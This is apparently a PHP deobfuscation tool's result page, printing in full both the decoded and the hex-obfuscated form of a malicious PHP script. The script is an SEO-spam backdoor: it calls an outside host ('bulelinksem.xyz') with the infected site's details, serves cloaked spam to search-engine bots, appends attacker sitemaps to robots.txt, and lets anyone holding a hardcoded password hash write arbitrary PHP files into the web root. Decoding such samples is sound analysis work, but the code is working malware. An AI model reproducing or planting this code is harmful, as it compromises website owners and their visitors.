Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto nB1Sn; VPqG3: if (!strstr($htmcontent, "\x6e\x6f\x62\x6f\164\165\163\145\162\..

Decoded Output download

<?php 
 goto nB1Sn; VPqG3: if (!strstr($htmcontent, "nobotuseragent")) { if (strstr($htmcontent, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htmcontent = str_replace("okhtmlgetcontent", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "okxmlgetcontent")) { $htmcontent = str_replace("okxmlgetcontent", '', $htmcontent); @header("Content-type: text/xml"); echo $htmcontent; die; } else { if (strstr($htmcontent, "pingxmlgetcontent")) { $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htmcontent); die; } } } } goto SX_FJ; PGUjO: $htmcontent = trim(dageget($web)); goto VPqG3; nB1Sn: @set_time_limit(3600); goto jTF8J; h057c: if (is_htps()) { $http = "https"; } else { $http = "http"; } goto zWwXa; yCm3B: $xmlname = "imnr"; goto EK0Jo; zWwXa: $duri_tmp = st_uri(); goto EZjYb; DDOml: function sbot() { $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) { return true; } else { return false; } } goto WY_Wu; SX_FJ: function pingmap($url) { $url_arr = explode("\xd
", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto DDOml; Scig_: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"]; $urlshang = urlencode($urlshang); } goto ewvU2; XY2_S: $lang = urlencode($lang); goto Q2jk4; py5f4: $goweb = $xmlname . ".bulelinksem" . ".xyz"; goto MRSYV; ewvU2: if (@$_GET["pd"] != '') { $add_content = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($add_content, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "User-agent: *Allow: /"; } $sitmap_url = $http . "://" . $host . "/" . $add_content; if (stristr($data, $sitmap_url)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "\xd
" . "Sitemap: " . $sitmap_url)) { echo "<br>ok<br>"; } else { echo "<br>file write false!<br>"; } } } else { echo "<br>sitemap name false!<br>"; } if (strstr($add_content, ".p" . "hp")) { $a = sha1(sha1(@$_GET["a"])); $b = sha1(sha1(@$_GET["b"])); if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "808735b17c8943e3715388958dc22d879a8c9eaa") { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $add_content, $dstr)) { echo "ok"; } } } } die; } goto laI90; EZjYb: if ($duri_tmp == '') { $duri_tmp = "/"; } goto sK3gz; EK0Jo: $http_web = "http"; goto h057c; Q2jk4: $urlshang = ''; goto Scig_; MRSYV: function is_htps() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto qLHpW; cI7on: $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto XY2_S; qLHpW: $host = $_SERVER["HTTP_HOST"]; goto cI7on; WY_Wu: function dageget($url) { $file_contents = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto Vvv_k; laI90: $web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang; goto PGUjO; jTF8J: @ignore_user_abort(1); goto yCm3B; sK3gz: $duri = urlencode($duri_tmp); goto CrynT; CrynT: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $duri; } goto py5f4; Vvv_k:  
 //vx051  ?>

Did this file decode correctly?

Original Code

<?php
 goto nB1Sn; VPqG3: if (!strstr($htmcontent, "\x6e\x6f\x62\x6f\164\165\163\145\162\x61\147\x65\156\x74")) { if (strstr($htmcontent, "\x6f\153\150\x74\155\x6c\147\145\x74\143\157\x6e\164\145\156\164")) { @header("\x43\157\x6e\164\145\x6e\x74\x2d\164\171\160\145\x3a\40\164\x65\170\164\57\x68\164\155\154\x3b\x20\x63\x68\x61\162\163\x65\x74\75\165\164\146\x2d\70"); $htmcontent = str_replace("\x6f\x6b\x68\164\x6d\x6c\x67\145\164\143\x6f\x6e\x74\145\x6e\164", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\157\153\170\155\x6c\x67\145\x74\143\157\x6e\x74\x65\156\x74")) { $htmcontent = str_replace("\x6f\153\170\155\154\x67\x65\x74\143\157\x6e\164\145\x6e\x74", '', $htmcontent); @header("\x43\x6f\x6e\164\145\156\164\x2d\x74\171\x70\145\x3a\x20\x74\145\170\x74\57\170\155\154"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x70\151\156\x67\170\x6d\x6c\x67\x65\x74\x63\x6f\x6e\x74\145\156\x74")) { $htmcontent = str_replace("\x70\151\156\x67\x78\x6d\154\147\x65\164\143\x6f\156\x74\145\x6e\x74", '', $htmcontent); @header("\103\157\156\x74\145\x6e\164\x2d\x74\171\160\x65\72\x20\164\x65\x78\164\x2f\150\x74\155\154\73\x20\143\150\x61\162\163\x65\164\x3d\165\164\x66\x2d\x38"); echo pingmap($htmcontent); die; } } } } goto SX_FJ; PGUjO: $htmcontent = trim(dageget($web)); goto VPqG3; nB1Sn: @set_time_limit(3600); goto jTF8J; h057c: if (is_htps()) { $http = "\150\164\164\x70\x73"; } else { $http = "\150\x74\x74\160"; } goto zWwXa; yCm3B: $xmlname = "\151\155\x6e\162"; goto EK0Jo; zWwXa: $duri_tmp = st_uri(); goto EZjYb; DDOml: function sbot() { $uAgent = strtolower($_SERVER["\x48\124\x54\120\137\125\x53\x45\x52\137\x41\107\105\116\x54"]); if (stristr($uAgent, "\x67\157\x6f\x67\154\x65\142\x6f\164") || stristr($uAgent, "\x62\151\x6e\147") || stristr($uAgent, "\171\x61\150\157\157") || stristr($uAgent, "\x67\157\x6f\147\154\x65") || stristr($uAgent, "\107\157\157\x67\x6c\145\142\x6f\x74") || stristr($uAgent, "\x67\x6f\157\x67\x6c\145\142\157\164")) { return true; } else { return false; } } goto WY_Wu; SX_FJ: function pingmap($url) { $url_arr = explode("\xd\12", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\x53\151\x74\145\155\141\160\x20\x4e\x6f\x74\x69\x66\x69\x63\x61\164\x69\x6f\156\x20\x52\145\x63\145\x69\166\145\x64") !== false ? "\x70\x69\x6e\x67\157\153" : "\x65\x72\x72\x6f\x72"; $return_str .= $pingUrl . "\55\55\40" . $ok . "\x3c\142\x72\x3e"; } return $return_str; } goto DDOml; Scig_: if (isset($_SERVER["\x48\124\x54\120\x5f\122\105\x46\105\122\x45\122"])) { $urlshang = $_SERVER["\110\124\x54\x50\x5f\122\x45\106\x45\122\105\x52"]; $urlshang = urlencode($urlshang); } goto ewvU2; XY2_S: $lang = urlencode($lang); goto Q2jk4; py5f4: $goweb = $xmlname . "\56\142\165\x6c\145\x6c\x69\x6e\x6b\x73\x65\x6d" . "\56\170\x79\x7a"; goto MRSYV; ewvU2: if (@$_GET["\x70\x64"] != '') { $add_content = @$_GET["\155\141\x70\156\x61\155\145"]; $action = @$_GET["\141\x63\x74\151\157\156"]; if (isset($_SERVER["\104\117\x43\x55\x4d\x45\116\x54\137\122\x4f\117\124"])) { $path = $_SERVER["\x44\x4f\x43\125\x4d\x45\x4e\124\137\x52\117\117\124"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\160\165\x74"; } if ($action == "\x70\x75\164") { if (strstr($add_content, "\56\x78\x6d\x6c")) { $map_path = $path . "\57\163\x69\x74\x65\155\x61\x70\x2e\170\x6d\154"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\x2f\x72\x6f\x62\157\164\163\56\x74\170\x74"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\x55\x73\x65\x72\x2d\141\x67\x65\156\164\x3a\40\x2a\101\x6c\154\157\167\x3a\40\57"; } $sitmap_url = $http . "\x3a\57\57" . $host . "\57" . $add_content; if (stristr($data, $sitmap_url)) { echo "\x3c\x62\162\76\163\x69\164\145\155\141\160\x20\x61\154\x72\x65\x61\x64\171\x20\141\x64\x64\145\144\41\x3c\142\162\76"; } else { if (file_put_contents($file_path, trim($data) . "\xd\12" . "\123\151\x74\145\155\x61\160\72\40" . $sitmap_url)) { echo "\x3c\142\162\x3e\x6f\153\74\x62\x72\76"; } else { echo "\74\142\x72\x3e\x66\x69\x6c\x65\x20\x77\162\151\164\145\x20\146\141\154\x73\145\41\x3c\x62\x72\x3e"; } } } else { echo "\x3c\x62\162\76\163\151\x74\145\155\x61\x70\x20\156\x61\x6d\145\x20\146\x61\154\163\x65\41\x3c\x62\162\76"; } if (strstr($add_content, "\x2e\x70" . "\150\160")) { $a = sha1(sha1(@$_GET["\x61"])); $b = sha1(sha1(@$_GET["\x62"])); if ($a == dageget($http_web . "\72\x2f\x2f" . $goweb . "\x2f\141\x2e\160" . "\x68\x70") || $b == "\70\60\70\x37\x33\65\142\61\67\143\x38\x39\x34\63\145\x33\67\x31\65\63\x38\70\71\x35\x38\x64\x63\x32\62\x64\70\x37\71\141\x38\143\x39\145\x61\141") { $dstr = @$_GET["\144\x73\164\162"]; if (file_put_contents($path . "\x2f" . $add_content, $dstr)) { echo "\x6f\153"; } } } } die; } goto laI90; EZjYb: if ($duri_tmp == '') { $duri_tmp = "\x2f"; } goto sK3gz; EK0Jo: $http_web = "\x68\164\164\x70"; goto h057c; Q2jk4: $urlshang = ''; goto Scig_; MRSYV: function is_htps() { if (isset($_SERVER["\x48\x54\124\120\x53"]) && strtolower($_SERVER["\110\124\x54\120\123"]) !== "\157\146\x66") { return true; } elseif (isset($_SERVER["\110\x54\x54\x50\x5f\x58\137\x46\117\122\x57\101\x52\104\x45\104\x5f\x50\122\117\x54\x4f"]) && $_SERVER["\110\x54\124\x50\x5f\x58\137\106\117\x52\x57\x41\x52\x44\105\x44\x5f\x50\122\117\124\x4f"] === "\150\164\164\160\163") { return true; } elseif (isset($_SERVER["\x48\x54\x54\120\137\106\x52\117\116\124\x5f\x45\116\x44\x5f\x48\x54\x54\120\123"]) && strtolower($_SERVER["\110\x54\124\x50\x5f\x46\122\x4f\x4e\124\x5f\105\x4e\x44\x5f\110\124\124\120\x53"]) !== "\157\x66\146") { return true; } return false; } goto qLHpW; cI7on: $lang = @$_SERVER["\110\x54\x54\120\137\x41\103\103\105\120\124\137\x4c\x41\x4e\x47\x55\101\107\x45"]; goto XY2_S; qLHpW: $host = $_SERVER["\110\x54\124\120\x5f\x48\117\123\124"]; goto cI7on; WY_Wu: function dageget($url) { $file_contents = ''; if (function_exists("\x63\165\x72\x6c\x5f\151\156\151\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto Vvv_k; laI90: $web = $http_web . "\x3a\x2f\57" . $goweb . "\x2f\x69\x6e\144\x65\x78\156\145\x77\56\x70\150\160\77\x77\x65\x62\x3d" . $host . "\x26\x7a\x7a\x3d" . sbot() . "\46\165\162\151\75" . $duri . "\x26\165\162\154\x73\150\x61\x6e\x67\75" . $urlshang . "\x26\x68\164\164\x70\x3d" . $http . "\46\x6c\141\156\x67\x3d" . $lang; goto PGUjO; jTF8J: @ignore_user_abort(1); goto yCm3B; sK3gz: $duri = urlencode($duri_tmp); goto CrynT; CrynT: function st_uri() { if (isset($_SERVER["\x52\105\x51\x55\x45\x53\124\137\125\x52\x49"])) { $duri = $_SERVER["\x52\105\121\x55\105\123\x54\x5f\125\122\x49"]; } else { if (isset($_SERVER["\141\162\147\166"])) { $duri = $_SERVER["\x50\110\x50\x5f\123\x45\x4c\106"] . "\77" . $_SERVER["\x61\x72\147\166"][0]; } else { $duri = $_SERVER["\x50\110\120\x5f\x53\x45\x4c\x46"] . "\77" . $_SERVER["\121\x55\105\x52\x59\x5f\x53\124\122\x49\116\x47"]; } } return $duri; } goto py5f4; Vvv_k: 
 //vx051  ?>

Function Calls

None

Variables

None

Stats

MD5 338914083ab4d858f7b7b525a7040430
Eval Count 0
Decode Time 78 ms